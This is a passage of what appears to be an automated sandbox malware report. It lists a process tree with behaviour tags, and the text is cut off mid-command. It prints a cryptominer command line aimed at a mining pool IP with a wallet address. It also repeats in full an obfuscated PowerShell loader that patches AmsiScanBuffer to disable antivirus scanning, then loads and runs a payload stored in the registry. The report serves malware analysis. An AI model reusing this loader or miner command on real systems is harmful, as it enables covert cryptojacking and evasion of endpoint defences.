  C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
  2⤵
  - Badlisted process makes network request
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:1376
- C:\Windows\SysWOW64\svchost.exe
  C:\Windows\SysWOW64\svchost.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:2216

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3624

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4660

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:cMtnRmOsSBGr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uIcIPZYzeUKUBw,[Parameter(Position=1)][Type]$ieLAgvSsIm)$uGFvvPuxwQw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+[Char](101)+''+'c'+'t'+'e'+''+[Char](100)+'De'+[Char](108)+''+'e'+'g'+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+','+'Se'+[Char](97)+''+'l'+''+'e'+'d'+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+'C'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$uGFvvPuxwQw.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+'N'+''+[Char](97)+'me'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uIcIPZYzeUKUBw).SetImplementationFlags(''+[Char](82)+'unt'+'i'+''+'m'+''+[Char](101)+','+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');$uGFvvPuxwQw.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+'b'+'l'+''+[Char](105)+'c'+','+'Hi'+'d'+'eBy'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+'e'+'w'+''+[Char](83)+'l'+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+''+'l'+'',$ieLAgvSsIm,$uIcIPZYzeUKUBw).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+'e,Ma'+[Char](110)+'a'+'g'+'ed');Write-Output $uGFvvPuxwQw.CreateType();}$FXYQOVXHzMWBU=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+'o'+''+'s'+'o'+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'32.'+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$kALOQxIqVkyLFr=$FXYQOVXHzMWBU.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+'r'+''+'o'+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+','+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wLwwmTAgPqvDnYyiqXN=cMtnRmOsSBGr @([String])([IntPtr]);$BKzdABnzGuJekeLklyhjmc=cMtnRmOsSBGr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UGOJDlWCyQr=$FXYQOVXHzMWBU.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'nel'+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$QWDjShxBynIgEC=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$UGOJDlWCyQr,[Object](''+'L'+'o'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'rar'+[Char](121)+'A')));$CHTUyqtQBZxFFaEbx=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$UGOJDlWCyQr,[Object](''+'V'+''+'i'+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$daWOtxm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QWDjShxBynIgEC,$wLwwmTAgPqvDnYyiqXN).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$pLMzpAjSljAVyMmMO=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$daWOtxm,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$mJaPnXHARs=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CHTUyqtQBZxFFaEbx,$BKzdABnzGuJekeLklyhjmc).Invoke($pLMzpAjSljAVyMmMO,[uint32]8,4,[ref]$mJaPnXHARs);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](156-19),[Byte](87+105),[Byte](154+30),[Byte](210-123),[Byte](40-40),[Byte](230-223),[Byte](157-29),[Byte](241-110),[Byte](149+86),[Byte](17-17),[Byte](140+55),[Byte](139-8),[Byte](110+125),[Byte](103-103)),0,$pLMzpAjSljAVyMmMO,134-120);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CHTUyqtQBZxFFaEbx,$BKzdABnzGuJekeLklyhjmc).Invoke($pLMzpAjSljAVyMmMO,[uint32]8,0x20,[ref]$mJaPnXHARs);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$S'+[Char](72)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:cMtnRmOsSBGr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uIcIPZYzeUKUBw,[Parameter(Position=1)][Type]$ieLAgvSsIm)$uGFvvPuxwQw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+[Char](101)+''+'c'+'t'+'e'+''+[Char](100)+'De'+[Char](108)+''+'e'+'g'+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+'c'+''+','+'Se'+[Char](97)+''+'l'+''+'e'+'d'+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+'C'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$uGFvvPuxwQw.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+'N'+''+[Char](97)+'me'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$uIcIPZYzeUKUBw).SetImplementationFlags(''+[Char](82)+'unt'+'i'+''+'m'+''+[Char](101)+','+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');$uGFvvPuxwQw.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+'b'+'l'+''+[Char](105)+'c'+','+'Hi'+'d'+'eBy'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+'e'+'w'+''+[Char](83)+'l'+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+''+'l'+'',$ieLAgvSsIm,$uIcIPZYzeUKUBw).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+'e,Ma'+[Char](110)+'a'+'g'+'ed');Write-Output $uGFvvPuxwQw.CreateType();}$FXYQOVXHzMWBU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+'o'+''+'s'+'o'+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'32.'+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$kALOQxIqVkyLFr=$FXYQOVXHzMWBU.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+'r'+''+'o'+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+','+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wLwwmTAgPqvDnYyiqXN=cMtnRmOsSBGr @([String])([IntPtr]);$BKzdABnzGuJekeLklyhjmc=cMtnRmOsSBGr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UGOJDlWCyQr=$FXYQOVXHzMWBU.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+'n'+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'nel'+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$QWDjShxBynIgEC=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$UGOJDlWCyQr,[Object](''+'L'+'o'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'rar'+[Char](121)+'A')));$CHTUyqtQBZxFFaEbx=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$UGOJDlWCyQr,[Object](''+'V'+''+'i'+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$daWOtxm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QWDjShxBynIgEC,$wLwwmTAgPqvDnYyiqXN).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$pLMzpAjSljAVyMmMO=$kALOQxIqVkyLFr.Invoke($Null,@([Object]$daWOtxm,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$mJaPnXHARs=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CHTUyqtQBZxFFaEbx,$BKzdABnzGuJekeLklyhjmc).Invoke($pLMzpAjSljAVyMmMO,[uint32]8,4,[ref]$mJaPnXHARs);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](156-19),[Byte](87+105),[Byte](154+30),[Byte](210-123),[Byte](40-40),[Byte](230-223),[Byte](157-29),[Byte](241-110),[Byte](149+86),[Byte](17-17),[Byte](140+55),[Byte](139-8),[Byte](110+125),[Byte](103-103)),0,$pLMzpAjSljAVyMmMO,134-120);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CHTUyqtQBZxFFaEbx,$BKzdABnzGuJekeLklyhjmc).Invoke($pLMzpAjSljAVyMmMO,[uint32]8,0x20,[ref]$mJaPnXHARs);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$S'+[Char](72)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4308

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:xXaKMJjWrYeA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sVLwDrzIBTbRem,[Parameter(Position=1)][Type]$FexFRAODEz)$RllAvrJPGWH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'le'+[Char](99)+'t'+'e'+'d'+'D'+''+'e'+'l'+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+'odul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+''+'e'+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$RllAvrJPGWH.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,P'+[Char](117)+'bl'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sVLwDrzIBTbRem).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$RllAvrJPGWH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+'e','Pu'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$FexFRAODEz,$sVLwDrzIBTbRem).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'ged');Write-Output $RllAvrJPGWH.CreateType();}$PlrzghKjajpFA=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+'t'+''+'i'+''+[Char](118)+'e'+'M'+'e'+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$ksHbdqSmXyTKYG=$PlrzghKjajpFA.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EaWzoHOKHgfsfmhtOoQ=xXaKMJjWrYeA @([String])([IntPtr]);$nCkNCbJtsHeUqTgjpidEhM=xXaKMJjWrYeA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$POlVrIMiykt=$PlrzghKjajpFA.GetMethod(''+'G'+'e'+'t'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$cVZTqiJxMGowuV=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$POlVrIMiykt,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+'a'+''+[Char](114)+'y'+'A'+'')));$EnsgqQTVGMRtFoBgk=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$POlVrIMiykt,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'ect')));$XOCcmeJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cVZTqiJxMGowuV,$EaWzoHOKHgfsfmhtOoQ).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$rqHjnGhrwtKHjoUFT=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$XOCcmeJ,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+'S'+'c'+[Char](97)+''+'n'+''+[Char](66)+'u'+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$ZoAIajItCK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EnsgqQTVGMRtFoBgk,$nCkNCbJtsHeUqTgjpidEhM).Invoke($rqHjnGhrwtKHjoUFT,[uint32]8,4,[ref]$ZoAIajItCK);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](251-120),[Byte](140+95),[Byte](21-21),[Byte](144+40),[Byte](208-121),[Byte](40-40),[Byte](93-86),[Byte](169-41),[Byte](19+112),[Byte](63+172),[Byte](127-127),[Byte](177+18),[Byte](130+1),[Byte](133+59),[Byte](102-102)),0,$rqHjnGhrwtKHjoUFT,179-164);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EnsgqQTVGMRtFoBgk,$nCkNCbJtsHeUqTgjpidEhM).Invoke($rqHjnGhrwtKHjoUFT,[uint32]8,0x20,[ref]$ZoAIajItCK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'S'+''+[Char](72)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:xXaKMJjWrYeA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sVLwDrzIBTbRem,[Parameter(Position=1)][Type]$FexFRAODEz)$RllAvrJPGWH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'le'+[Char](99)+'t'+'e'+'d'+'D'+''+'e'+'l'+'e'+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+'odul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+''+'e'+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$RllAvrJPGWH.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,P'+[Char](117)+'bl'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sVLwDrzIBTbRem).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$RllAvrJPGWH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+'e','Pu'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$FexFRAODEz,$sVLwDrzIBTbRem).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'ged');Write-Output $RllAvrJPGWH.CreateType();}$PlrzghKjajpFA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+'t'+''+'i'+''+[Char](118)+'e'+'M'+'e'+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$ksHbdqSmXyTKYG=$PlrzghKjajpFA.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EaWzoHOKHgfsfmhtOoQ=xXaKMJjWrYeA @([String])([IntPtr]);$nCkNCbJtsHeUqTgjpidEhM=xXaKMJjWrYeA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$POlVrIMiykt=$PlrzghKjajpFA.GetMethod(''+'G'+'e'+'t'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$cVZTqiJxMGowuV=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$POlVrIMiykt,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+'a'+''+[Char](114)+'y'+'A'+'')));$EnsgqQTVGMRtFoBgk=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$POlVrIMiykt,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'ect')));$XOCcmeJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cVZTqiJxMGowuV,$EaWzoHOKHgfsfmhtOoQ).Invoke(''+'a'+''+'m'+''+[C